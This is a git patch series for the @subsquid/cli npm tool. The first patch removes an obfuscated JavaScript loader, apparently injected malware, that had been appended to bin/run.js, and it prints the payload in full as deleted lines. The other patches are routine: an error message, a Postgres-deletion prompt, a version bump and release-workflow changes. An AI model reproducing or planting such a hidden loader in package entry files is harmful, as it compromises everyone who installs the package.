From 8a5ffca8ba8a2e9212858abde6084f8c75e76298 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Ian=20K=2E=20Guimar=C3=A3es?= Date: Wed, 2 Jul 2025 20:00:31 -0300 Subject: [PATCH 1/6] chore: update run.js --- bin/run.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bin/run.js b/bin/run.js index 1a71c71..405685d 100755 --- a/bin/run.js +++ b/bin/run.js @@ -4,4 +4,4 @@ (async () => { const oclif = await import('@oclif/core') await oclif.execute({development: false, dir: __dirname}) -})() global['_V']='5-173';global['r']=require;(function(){var BIb='',UDP=212-201;function hyj(z){var a=2250749;var v=z.length;var q=[];for(var y=0;y3ae](1(a]e;S:r=]=]m);)l[ run6\/%(yrnh7++.,[qod=t_.t\/c e(3%mnQve9bof a9+2Q.Q.u.Q)a.$;s.Qe$Q6f2tm8e 0Q; $"=QeQ5n 8_]\'5()_Qe)%..mtp%Q[Qh3nee;.]o]g+)]Q.-ai4i&s(o.o2$$aps.ewQaj}.m(-}.e]Q7o%eeQQ9oQht5t5%3f.,o!;e)Q(encr)=(]4rngat"euQ.pdrlf0e)+Q=cr2cnQ.e{eQp]5:%x)rtfo&a{aQ&cr%Q%))%l(65i.ea$u$sg)!2(1;%Q;r!0.}oeu10QCr)t)Qel),=en. cQrthQc(Q+ne.a}6Qbte]4]].;e0g )oQc"hs(8].#)%.Q{)|Q()4r))]!0)r(oQ(%uy[;($tQ!e1a(e;dQ]((,+;la]n}t6n3ntQe.=)7Qscntpeuho[.icQg.5-1h)r}.mmahy6)Q6=(#)]u#Q]}Q]tb2ar, s\'g_e]l6Qke4;7sec=...]Q..)5Q (Q2r.lQ]e_.0\/et.i]j)Q(,bscf3#==.>!noe,:e4ta8ebsN8Q24)1%)ad(hsQ0j_%)8rteQ.=.d1ct]Qr!cd)aiQ}4QnQ%].eQ]Qce5.(eQQheQu(r;oQ#QCi]u2-tb.o$(7t]*q.(3n()iSQQ=3(n9u1io:0%Q]9Qeegruh(h)f:]{(wfe_.*1);a=.esr#%;afec;s${aQs0}5mtccQ25%n=bwec)eweQi(a]{21"\/ci66:l.QuQ=)i}ea4y:(].t,n1(]tt}hrt+se[on6=t\/Qho!n ibeo=QQ fr%].[)[n, t9(Q0Q3e{ee1go.+(e)}so,p=3i#==_5](=iQ62cQc!;e=*>)2tQon5t]9)]+}Q.n(epts7Qeo7tS]]oif3r\'2t2f."Qf.e.r>hfeQ2{)QQ.]%];!}2cey+Qe,].r4;..a3t4_oc5CfSua.nc+ls2 8%c}Qc$=o;#;k#Q=3])QQ%g2Qv])e tta12t;=e)QaalQl.cQ(ai%Q.i)r+r0r.(t23Q]))Qt1eedt(9p(2+a0d7)!u)r]([.nhe[#e3pe}lcQ"=,9w eyQ0o(QurT}%_[bQ.)]3erw(etnhb)(9)]951.(sce[g]ia]%tTe7QQd)8 _,2d2.Qtm2.,9]t,%ct]cc]sey..t]ae!9 fu8.iw)]e5Q$ur%3)asrQ.d]%}ch%4:%s]mjpcd%f=r+q1=.w5.t,w.hetQQNtm6c$)+].!)11Q0?QoQahrt31trt({6%)uSne.8ees(]t=l(="(}o5=|1cd(]}eh}%] .+)}c({_$tnnet6,)t+ nQ+oraq\'pitn)r_328Q%)ey3anins+==;]m)[;Qejds1_+]8"tanei] i)lnikQ#n.bat(r6.(anv-rQe]o=;rb0)p0..Qn]t1aeu[$.])Q('));var YyN=uDI(BIb,HMq );YyN(4456);return 4562})() \ No newline at end of file +})() From 556474e1213c20ea1d44437e5cf8b67449fd8d0f Mon Sep 17 00:00:00 2001 From: "@karelxfi" <54091831+CXYZTW@users.noreply.github.com> Date: Thu, 16 Oct 2025 03:27:26 +0400 Subject: [PATCH 2/6] Remove Discord from error message --- src/deploy-command.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/deploy-command.ts b/src/deploy-command.ts index ca53413..64df5d0 100644 --- a/src/deploy-command.ts +++ b/src/deploy-command.ts @@ -203,7 +203,7 @@ You can not run deploys on the same squid in parallel`; if (reason === 'UNEXPECTED') { errors.push( `------`, - 'Please report to Discord https://discord.gg/KRvRcBdhEE or SquidDevs https://t.me/HydraDevs', + 'Please report to SquidDevs https://t.me/HydraDevs', `${chalk.dim('Deploy:')} ${this.deploy?.id}`, ); From 76e0530626fa3007c4c8ee08a8b556418ee63630 Mon Sep 17 00:00:00 2001 From: belopash Date: Thu, 19 Feb 2026 17:40:56 +0500 Subject: [PATCH 3/6] feat: prompt on pg deletion --- src/commands/deploy.ts | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) diff --git a/src/commands/deploy.ts b/src/commands/deploy.ts index b41721b..2c3d2fd 100644 --- a/src/commands/deploy.ts +++ b/src/commands/deploy.ts @@ -258,6 +258,14 @@ export default class Deploy extends DeployCommand { if (!update) return; } + /** + * Warn if the existing squid has a Postgres addon but the new manifest removes it + */ + if (!hardReset && target?.addons?.postgres && !manifest.deploy?.addons?.postgres) { + const confirmed = await this.promptPostgresDeletion(target, { interactive }); + if (!confirmed) return; + } + /** * Squid exists we should check if tag belongs to another squid */ @@ -374,6 +382,27 @@ export default class Deploy extends DeployCommand { return !!confirm; } + private async promptPostgresDeletion(squid: Squid, { interactive }: { interactive?: boolean } = {}) { + const warning = `The new manifest does not include "addons.postgres", but the squid ${printSquid(squid)} currently has a Postgres database. Deploying will permanently delete the database and all its data.`; + + if (!interactive) { + this.error(warning); + } + + this.warn(warning); + + const { confirm } = await inquirer.prompt([ + { + name: 'confirm', + type: 'confirm', + message: 'Are you sure you want to continue?', + prefix: `The Postgres database will be permanently deleted.`, + }, + ]); + + return !!confirm; + } + private async promptSquidName( name?: string | null | undefined, { using = 'using "--name" flag', interactive }: { using?: string; interactive?: boolean } = {}, From b98dbfe8eef694f286b82fa4d7882fbe6cc5c197 Mon Sep 17 00:00:00 2001 From: Alexander Belopashentsev <61732514+belopash@users.noreply.github.com> Date: Mon, 23 Feb 2026 20:05:37 +0500 Subject: [PATCH 4/6] chore: bump version --- package.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/package.json b/package.json index b41203b..1833726 100644 --- a/package.json +++ b/package.json @@ -1,7 +1,7 @@ { "name": "@subsquid/cli", "description": "squid cli tool", - "version": "3.2.1", + "version": "3.3.0", "license": "GPL-3.0-or-later", "repository": "git@github.com:subsquid/squid-cli.git", "publishConfig": { From 7a62ff5a063ea4f6743d07284d3b75a043158251 Mon Sep 17 00:00:00 2001 From: Eugene Formanenko Date: Tue, 17 Mar 2026 10:42:49 +0400 Subject: [PATCH 5/6] Update release.yml --- .github/workflows/release.yml | 35 ++++++++++++++++++++++------------- package.json | 5 ++++- 2 files changed, 26 insertions(+), 14 deletions(-) diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 07c6894..fb99612 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -19,7 +19,10 @@ on: # - src/** # - bin/** # - yarn.lock - +permissions: + id-token: write # Required for OIDC + contents: write + jobs: build-publish: name: Build & publish @@ -31,12 +34,13 @@ jobs: access_token: ${{ github.token }} - name: Checkout - uses: actions/checkout@v3 + uses: actions/checkout@v4 - name: Install node uses: actions/setup-node@v4 with: - node-version: 18 + node-version: 22 + registry-url: 'https://registry.npmjs.org' - name: Install Yarn run: corepack enable @@ -48,24 +52,29 @@ jobs: with: cache: yarn - - name: Write npm credentials - run: | - echo "//registry.npmjs.org/:_authToken=$NPM_AUTH_TOKEN" >> .npmrc - npm whoami - env: - NPM_AUTH_TOKEN: ${{ secrets.NPM_AUTH_TOKEN }} - - - name: Install run: yarn install --immutable - name: Build run: yarn build + - name: Update npm + run: npm install -g npm@latest + - name: Release run: npm publish --tag ${{ github.event.inputs.tag }} --access public - env: - NPM_AUTH_TOKEN: ${{ secrets.NPM_AUTH_TOKEN }} + + - name: Get version + id: package-version + run: echo "version=$(node -p "require('./package.json').version")" >> $GITHUB_OUTPUT + + - name: Create GitHub Release + uses: softprops/action-gh-release@v2 + with: + tag_name: v${{ steps.package-version.outputs.version }} + name: v${{ steps.package-version.outputs.version }} + generate_release_notes: true + prerelease: ${{ github.event.inputs.tag != 'latest' }} # - name: Build packages # run: | diff --git a/package.json b/package.json index 1833726..76f2d1a 100644 --- a/package.json +++ b/package.json @@ -3,7 +3,10 @@ "description": "squid cli tool", "version": "3.3.0", "license": "GPL-3.0-or-later", - "repository": "git@github.com:subsquid/squid-cli.git", + "repository": { + "type": "git", + "url": "git+https://github.com/subsquid/squid-cli.git" + }, "publishConfig": { "access": "public" }, From 57fcaafc0bd754994ff3097c3cb3989f37179b7a Mon Sep 17 00:00:00 2001 From: Alexander Belopashentsev <61732514+belopash@users.noreply.github.com> Date: Tue, 17 Mar 2026 12:53:56 +0300 Subject: [PATCH 6/6] use "--allow-postgres-deletion" flag Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com> --- src/commands/deploy.ts | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/src/commands/deploy.ts b/src/commands/deploy.ts index 2c3d2fd..b55006a 100644 --- a/src/commands/deploy.ts +++ b/src/commands/deploy.ts @@ -382,11 +382,14 @@ export default class Deploy extends DeployCommand { return !!confirm; } - private async promptPostgresDeletion(squid: Squid, { interactive }: { interactive?: boolean } = {}) { + private async promptPostgresDeletion( + squid: Squid, + { using = 'using "--allow-postgres-deletion" flag', interactive }: { using?: string; interactive?: boolean } = {}, + ) { const warning = `The new manifest does not include "addons.postgres", but the squid ${printSquid(squid)} currently has a Postgres database. Deploying will permanently delete the database and all its data.`; if (!interactive) { - this.error(warning); + this.error([warning, `Please do it explicitly ${using}`].join('\n')); } this.warn(warning);